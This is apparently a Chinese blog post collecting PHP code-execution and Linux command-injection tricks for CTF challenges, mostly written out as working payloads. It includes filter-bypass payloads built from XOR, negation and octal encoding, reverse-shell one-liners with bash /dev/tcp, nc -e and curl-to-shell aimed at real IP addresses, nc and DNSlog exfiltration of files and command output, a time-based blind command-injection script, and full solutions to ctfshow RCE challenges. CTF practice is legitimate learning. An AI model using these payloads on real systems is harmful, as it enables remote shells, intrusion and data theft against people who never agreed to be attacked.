php命令执行小结

命令执行的一些总结

在php里面,我觉得可以把命令执行分为两种,system前,system后,为什么这吗说呢,因为eval的时候是可以执行php的代码的,这样就可以绕过一些字符传的绕过,system之后就可以执行系统命令了,然后在这个地方也会有很多针对Linux命令的一些小trick。其实可以再细分以下,就是有会显和没有回显,然后就是积累了。这一块的奇淫技巧那就真的太多了。上面说到的ctfshow里面的极限大挑战,第一个就是system前,第二个就是system后。

system前

代码执行函数有eval assert

eval里面有其它的字符串

eval("#man," . $cmd . ",mamba out");

%0a+要执行的php代码+%23 换行逃离第一个注释# 第二个# 注释掉后面的东西防止干扰

反引号包裹

反引号包裹的内容会当作命令执行

而且里面可以传参

`$_POST[1];`

字符串拼接

可以用来过滤一些引号还有特定的字符。

(p.h.p.i.n.f.o)();
(sy.(st).em)(whoami);
(sy.(st).em)(who.ami);
(s.y.s.t.e.m)("whoami");

字符串转义绕过

def hex_payload(payload):
	res_payload = ''
	for i in payload:
		i = "\\x" + hex(ord(i))[2:]
		res_payload += i
	print("[+]'{}' Convert to hex: \"{}\"".format(payload,res_payload))

def oct_payload(payload):
	res_payload = ""
	for i in payload:
		i = "\\" + oct(ord(i))[2:]
		res_payload += i
	print("[+]'{}' Convert to oct: \"{}\"".format(payload,res_payload))

def uni_payload(payload):
	res_payload = ""
	for i in payload:
		i = "\\u{{{0}}}".format(hex(ord(i))[2:])
		res_payload += i
	print("[+]'{}' Convert to unicode: \"{}\"".format(payload,res_payload))

if __name__ == '__main__':
	payload = 'phpinfo'
	hex_payload(payload)
	oct_payload(payload)
	uni_payload(payload)

"\x70\x68\x70\x69\x6e\x66\x6f"();#phpinfo();
"\163\171\163\164\145\155"('whoami');#system('whoami');
"\u{73}\u{79}\u{73}\u{74}\u{65}\u{6d}"('id');#system('whoami');
"\163\171\163\164\145\155"("\167\150\157\141\155\151");#system('whoami');

多次传参绕过

GET:
?1=system&2=whoami
POST:
cmd=$_GET[1]($_GET[2]);

内置函数访问绕过

php -r "print_r(phpversion());"
7.1.33
php -r "print_r(get_defined_functions());"
Array
(
    [internal] => Array
        (
            [293] => phpinfo
            [382] => exec
            [383] => system
         )
    [user] => Array
        (
        )

)
php -r "get_defined_functions()[internal][383](calc);"

get_defined_functions()[internal][383](calc)

异或绕过

普通场景

import string

char = string.printable
cmd = 'system'
tmp1,tmp2 = '',''
for res in cmd:
    for i in char:
        for j in char:
            if(ord(i)^ord(j) == ord(res)):
                tmp1 += i
                tmp2 += j
                break
        else:
            continue
        break
print("('{}'^'{}')".format(tmp1,tmp2))

无字符数字

<?php
highlight_file(__FILE__);
error_reporting(0);
if(preg_match('/[a-z0-9]/is', $_GET['shell'])){
	echo "hacker!!";
}else{
	eval($_GET['shell']);
}
payload = "assert"
strlist = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 35, 36, 37, 38, 40, 41, 42, 43, 44, 45, 46, 47, 58, 59, 60, 61, 62, 63, 64, 91, 93, 94, 95, 96, 123, 124, 125, 126, 127]
#strlist是ascii表中所有非字母数字的字符十进制
str1,str2 = '',''

for char in payload:
    for i in strlist:
        for j in strlist:
            if(i ^ j == ord(char)):
                i = '%{:0>2}'.format(hex(i)[2:])
                j = '%{:0>2}'.format(hex(j)[2:])
                print("('{0}'^'{1}')".format(i,j),end=".")
                break
        else:
            continue
        break
$_=('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c');
//$_='assert';
$__='_'.('%07'^'%40').('%05'^'%40').('%09'^'%5d');
//$__='_GET';
$___=$$__;
//$___='$_GET';
$_($___[_]);
//assert($_GET[_]);

$_=('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c');$__='_'.('%07'^'%40').('%05'^'%40').('%09'^'%5d');$___=$$__;$_($___[_]);&_=phpinfo();

URL编码取反绕过

> php -r "var_dump(urlencode(~'system'));"
string(18) "%8C%86%8C%8B%9A%92"
> php -r "var_dump(urlencode(~'whoami'));"
string(18) "%88%97%90%9E%92%96"

(~%8C%86%8C%8B%9A%92)(~%88%97%90%9E%92%96);
#system('whoami');

# 异或拼接
$_=(~'%9E%8C%8C%9A%8D%8B');$__='_'.(~'%AF%B0%AC%AB');$___=$$__;$_($___[_]);
#assert($_POST[_]);

system后

再次强调一遍,这里执行的Linux的命令,上面那些是php的代码,eval里面包着的。

反弹shell

https://xz.aliyun.com/t/9488

bash

bash -c "bash -i >& /dev/tcp/60.205.138.120/3389 0>&1" 最常用的应该就是这个了。

bash -c {echo,要执行命令的base64编码}|{base64,-d}|{bash,-i}"|base64 里面base64编码的命令就是我们上面哪个反弹shell的命令。

bash -c "YmFzaCAtYyDCoCdiYXNoIC1pID4mIC9kZXYvdGNwLzYwLjIwNS4xMzguMTIwLzMzODkgMD4mMSc=|{base64,-d}|{bash,-i}"|base64

curl

然后我看到了一种反弹shell的方法。

vps上的网站根目录放一个bash -i >& /dev/tcp/120.79.249.163/3389 0>&1 index.php或html #可能还必须得是php得环境。

nc -lvvp 3389

curl 2018507171|sh

Curl配合Bash反弹shell的方式在CTF题目中经常出现,curl IP|bash 中的IP可以是任意格式的,可以是十进制、十六进制、八进制、二进制等等。

netcat

nc 120.79.249.163 3389 -e bash # /bin/sh 和 /bin/bash也可以

nc <攻击机IP> <攻击机监听的端口> -e /bin/bash

nc传文件

攻击机

➜  ~ nc -lvvp 3389 > kali.txt
Listening on any address 3389 (ms-wbt-server)
Connection from 106.123.146.195:43857
ls
^CExiting.
Total received bytes: 16
Total sent bytes: 3
➜  ~ nc -lvvp 3389 > kali.txt
➜  ~ cat kali.txt 
flag{cocr2kali}

被攻击机

➜  / nc 120.79.249.163 3389 </flag

绕过一些字符串

➜  / c''a\t /fl\a""g
flag{cocr}

反正给我的感觉就是各种作,但是最终都是cat /flag

10进制ip

就是把ip转为10进制后。

http://3232265100/

结合着我们反弹shell的操作 curl 2018507171|bash

绕过空格

{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt

定义变量

​ 其中\x20可以用来绕过空格,但是这个地方如果当空格的话只在定义变量的时候成功了

┌──(root㉿kali)-[/]
└─# kg=$'\x20/flag'&&cat$kg
flag{cocr2kali}

➜  / a=ag;b=fl;cat $b$a 
flag{cocr2kali}

┌──(root㉿kali)-[/]
└─# a=ag;b=/fl;cat$IFS$b$a
flag{cocr2kali}

通配符绕过

/???/c?t flag # /bin/cat flag

过滤*和?

可以用
paste /f[9-q][9-q]g /etc/passwd

dnslog外带

curl `whoami`.35v8sp.dnslog.cn

读文件

cat:由第一行开始显示内容,并将所有内容输出
tac:从最后一行倒序显示内容,并将所有内容输出
more:根据窗口大小,一页一页的现实文件内容
less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head:只显示头几行
tail:只显示最后几行
nl:类似于cat -n,显示时输出行号
sort%20/flag 读文件
dir来查看当前目录文件
➜  ~ head /flag
flag{cocr}
➜  ~ tail /flag
flag{cocr}
➜  ~ tac /flag 
flag{cocr}
➜  ~ nl /flag     
     1  flag{cocr}
➜  ~ sort /flag     
flag{cocr}
➜  ~ more /flag   
flag{cocr}
➜  ~ paste /flag /etc/passwd
flag{cocr}      root:x:0:0:root:/root:/usr/bin/zsh
        bin:x:1:1:bin:/bin:/sbin/nologin
        daemon:x:2:2:daemon:/sbin:/sbin/nologin
        adm:x:3:4:adm:/var/adm:/sbin/nologin
➜  ~ diff /flag /etc/passwd
1c1,33
< flag{cocr}
---
> root:x:0:0:root:/root:/usr/bin/zsh
> bin:x:1:1:bin:/bin:/sbin/nologin
> daemon:x:2:2:daemon:/sbin:/sbin/nologin
➜  ~ od -a /flag
0000000   f   l   a   g   {   c   o   c   r   }  nl
0000013
➜  ~ bzmore /flag
------> /flag <------
flag{cocr}
➜  ~ echo `bzless /flag`     
------> /flag <------ flag{cocr}
➜  ~ curl file:///flag
flag{cocr}

利用管道符

base64
➜  / echo Y2F0IC9mbGFn|base64 -d|sh
flag{cocr2kali}
➜  / echo Y2F0IC9mbGFn|base64 -d|bash
flag{cocr2kali}
xdd
def hex_pure(payload):
    res_payload = ''
    for i in payload:
       i = hex(ord(i))[2:]
       res_payload += i
    return res_payload

print(hex_pure("cat /flag"))
apt install xxd

┌──(root㉿kali)-[~]
└─# echo 636174202f666c6167 | xxd -r -p|bash
flag{cocr2kali}
编码
def uni_hex_payload(payload):
	res_payload = ""
	for i in payload:
		i = "\\x{}".format(hex(ord(i))[2:])
		res_payload += i
	return res_payload

def uni_oct_payload(payload):
	res_payload = ""
	for i in payload:
		i = "\\{}".format(oct(ord(i))[2:])
		res_payload += i
	return res_payload
➜  ~ $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")
flag{cocr2kali}
➜  ~ $(printf "\143\141\164\40\57\146\154\141\147")  
flag{cocr2kali}

理论上试可以随意结合的,但是unicode这个好像不能用。

➜  ~ echo Y3VybCAyMDE4NTA3MTcxfGJhc2g=|base64 -d|sh 
➜  ~ echo 6375726c20323031383530373137317c62617368 | xxd -r -p|bash

bash盲注

import time
import requests
url = "http://xxxx/"
result = ""
for i in range(1,15):
    for j in range(1,50):
    #ascii码表
        for k in range(32,127):
            k=chr(k)
            payload =f"if [ `cat /flag | awk NR=={i} | cut -c{j}` == '{k}' ];then sleep 2;fi"
            length = len(payload)
            payload2 = {"payload": payload}
            t1 = time.time()
            r = requests.post(url=url, data=payload2)
            t2 = time.time()
            if t2 - t1 > 1.5:
                result += k
                print(result)
    result += " "

CTFSHOW RCE挑战

题记 ; 我讨厌奇淫技巧

ctfshow的每周大挑战里面

RCE极限挑战

RCE挑战1

<?php

error_reporting(0);
highlight_file(__FILE__);

$code = $_POST['code'];

$code = str_replace("(","括号",$code);

$code = str_replace(".","点",$code);

eval($code);


# POC : code=?><?=`calc`;   #记得加这个分号

这个地方其实很奇怪,我其实并不太清楚为什么要加上那个=?><?去闭合前面的一些东西。我在写牢牢记住,逝者为大那一道题目的时候也没有闭合,总之就是很奇怪。我在本地运行下面这个的时候也是可以弹出计算机的,总之就是很奇怪。

<?php eval("`calc`;");

RCE挑战2

再强调一遍,我真的不觉得这种题目很有趣

<?php
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow)) {
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}

一切的起点就是

(_/_).”=NAN后用数组的形式取出第一个字母,所以需要((_/_).”){0}=’N’
$____=((_/_).'')[''=='$']; 					#N
$_____=++$____; 							#O
++$____; 									#P
$______=$____; 								#$______=P
++$____; 									#Q
++$____; 									#R
++$____; 									#S
$_______=$____; 							#$_______=S
++$____; 									#T
$________=$____; 							#$________=T
$_________=$______.$_____.$_______.$________; #POST
$_________='_'.$_________; 					#_POST
$$_________[_]($$_________[__]); 			#$_POST[_]($_POST[__];)

ctf_show=%24____%3D((_%2F_).'')%5B''%3D%3D'%24'%5D%3B%24_____%3D%2B%2B%24____%3B%20%2B%2B%24____%3B%24______%3D%24____%3B%20%2B%2B%24____%3B%2B%2B%24____%3B%2B%2B%24____%3B%20%24_______%3D%24____%3B%2B%2B%24____%3B%24________%3D%24____%3B%24_________%3D%24______.%24_____.%24_______.%24________%3B%24_________%3D'_'.%24_________%3B%24%24_________%5B_%5D(%24%24_________%5B__%5D)%3B&_=system&__=cat /f*

注意后两个参数不要url编码

一些题外话$code=$_POST['e_v.a.l'];
这时候如果直接按这个变量名来传参,php 是无法接收到这个值的,具体原因是 php 会自动把 一些不合法的字符转化为下划线(注:php8以下),当PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_

在PHP8中这种转换错误被修复了,传入的参数名中非法字符一律全部转换为了下划线

RCE挑战4

<?php
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
        if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
$_=((_/_).$_)[0]; //同上,取NAN的第一个字母N
$_++; //O
$__=$_.$_++; //这里进行了++的,所以$_等于P, $__=PO
$_++; // Q
$_++; // R
$_++; // S
$_=_.$__.$_.++$_; //这里也进行了++的,所以最后一位是T, $_ = _POST
$$_[_]($$_[0]); // $_POST[_]($_POST[0]);

ctf_show=%24_%3D((_%2F_)._)%5B0%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24__.%24_.%2B%2B%24_%3B%24%24_%5B_%5D(%24%24_%5B0%5D)%3B&_=system&0=cat /f*

在网上看到的其实连数字都可以不用

POST:w1key=$%ff=_(%ff/%ff)[%ff];%2b%2b$%ff;$_=$%ff.$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$_=_.$_.%2b%2b$%ff.%2b%2b$%ff;$$_[%ff]($$_[_]);&%ff=system&_=tac /flag

传payload的时候记得用burpsuite别直接用hackbar,因为hackbar会把传上去的东西进行了编码,我们的不可见字符就判定为三个字符了。这个解属于比较通用的,没用gettext,感觉一般服务器上也不会开那玩意儿吧,遇到一般的无字母数字webshell题这个解也够用了,我想用那个62字符的构造通用解发现(/.)[]经常报错,不知道为啥。

ctf_show=$_=(_/_._)[_];$_%2b%2b;$%FA=$_.$_%2b%2b;$_%2b%2b;$_%2b%2b;$_=_.$%FA.%2b%2b$_.%2b%2b$_;$$_[_]($$_[%FA]);&_=system&%FA=cat /f*

如果[]被ban了就换{},php里这俩可以混用,如果这两个都被ban了骚年还是换其他方法做吧

ctf_show=$_=(_/_._){_};$_%2b%2b;$%FA=$_.$_%2b%2b;$_%2b%2b;$_%2b%2b;$_=_.$%FA.%2b%2b$_.%2b%2b$_;$$_{_}($$_{%FA});&_=passthru&%FA=cat /f*

极限命令执行

以下题目运行环境均为CENTOS7

极限命令执行1

<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里,或者直接运行根目录getflag

error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (!preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",$ctfshow)){
            system($ctfshow);
        }else{
            echo("????????");
        }
}

# ctf_show=/?????a?   这里就是利用通配符

极限命令执行2

<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里,或者直接运行根目录getflag

error_reporting(0);
highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    check($ctfshow);              //这个地方过滤了 ? 
    system($ctfshow);
}


POC ::> ctf_show=$'\57\147\145\164\146\154\141\147'

我们可以用$’\xxx’的方式执行命令,其中xxx是ascii字母的8进制值,比如用$’\154\163’代替ls:

def string_to_oct(input_str):
    oct_str = ""
    for char in input_str:
        oct_str += "\\" + oct(ord(char))[2:]
    return oct_str

不过这种执行方法有个缺点,因为他会把整个字符串整体当做命令执行,因此如果我们想执行cat /flag它会认为”cat /flag”这个整体是一个命令,而不是cat是命令,/flag是目标,最后导致执行失败

极限命令执行3

和上面一样,但是过滤了除了01以外的数字。

def rce3(cmd):
    payload='$0<<<$0\\<\\<\\<\\$\\\''
    for c in cmd:
            payload+=f'\\\\$(($((1<<1))#{bin(int(oct(ord(c))[2:]))[2:]}))'

    payload+='\\\''
    # return payload.replace("1","${##}")
    return payload

这个真的就比较绝了,真正的命令执行,但是打xyctf那道牢大的题目的时候都打不通,但是在kali下面这些命令都是试通了的。

如果题目连1也不放过的话,可以换成${##},

这些题目都太抽象了,不想看了。

极限命令执行5

def rce4(cmd):
    r = {}
    x = '$((~$(())))'  # -1
    for i in range(1, 9):
        r[i] = '$((~$((' + x
        for j in range(i):
            r[i] += x
        r[i] += '))))'
    r[0] = '$(())'
    payload = '__=$(())&&${!__}<<<${!__}\\<\\<\\<\\$\\\''
    for c in cmd:
        payload += '\\\\'
        for i in oct(ord(c))[2:]:
            payload += r[int(i)]

    payload += '\\\''
    return payload

参考文章

https://www.anquanke.com/post/id/168667
https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html
https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.htm
https://mochu.blog.youkuaiyun.com/article/details/104631142
https://blog.youkuaiyun.com/mochu7777777/article/details/115050295
https://www.freebuf.com/articles/network/258676.html
https://ctf-show.feishu.cn/docx/EH72dMi3hoBtLJxDydjcIVcQnSc

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值